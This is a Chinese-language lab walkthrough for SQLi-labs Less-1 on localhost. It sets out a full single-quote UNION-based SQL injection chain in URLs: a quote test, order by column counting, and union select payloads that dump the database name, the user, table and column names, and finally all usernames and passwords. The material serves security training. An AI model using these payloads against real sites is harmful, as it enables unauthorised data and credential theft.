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基于单引号字符注入

http://localhost/sqli_labs/Less-1/?id=1 and 1=2 正确，非数字型注入
http://localhost/sqli_labs/Less-1/?id=1’ 出错，http://localhost/sqli_labs/Less-1/?id=1’ - - ，正确，判断出注入类型

注意：- -后有一空格，我看某些博客说，在url中，加上-- ，最后会把空格给去掉，所以用- -+代替-- ，+会被url编码成空格，但是
我的空格没被去掉，用+却不行。自己可以多试几种注释。
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通过order by来判断字段个数
http://localhost/sqli_labs/Less-1/?id=1’ order by 3-- (–后面有一空格，后面的都有空格l）

找回显位置

http://localhost/sqli_labs/Less-1/?id=0’ union select 1,2,3 - -

发现回显后两个，后面爆信息就利用这两个位置。

爆数据库，用户名

http://localhost/sqli_labs/Less-1/?id=0’ union select 1,database(),user()- -
就不上图了。

爆所有表

http://localhost/sqli_labs/Less-1/?id=0’ union select 1,2,(select group_concat(table_name) from information_schema.tables where
table_schema=database())- -



爆字段

http://localhost/sqli_labs/Less-1/?id=0’ union select 1,2,(select group_concat(column_name) from information_schema.columns
where table_name=‘users’)- -
凭经验选表，没经验的，表不多的话，可以一张表一张表的试。

爆用户名和密码

http://localhost/sqli_labs/Less-1/?id=0’ union select 1,(select group_concat(username) from users),(select
group_concat(password) from users)- -

用户名和密码是一 一对应的。

以上- -后面都有空格哈。

Less-2

更新中……
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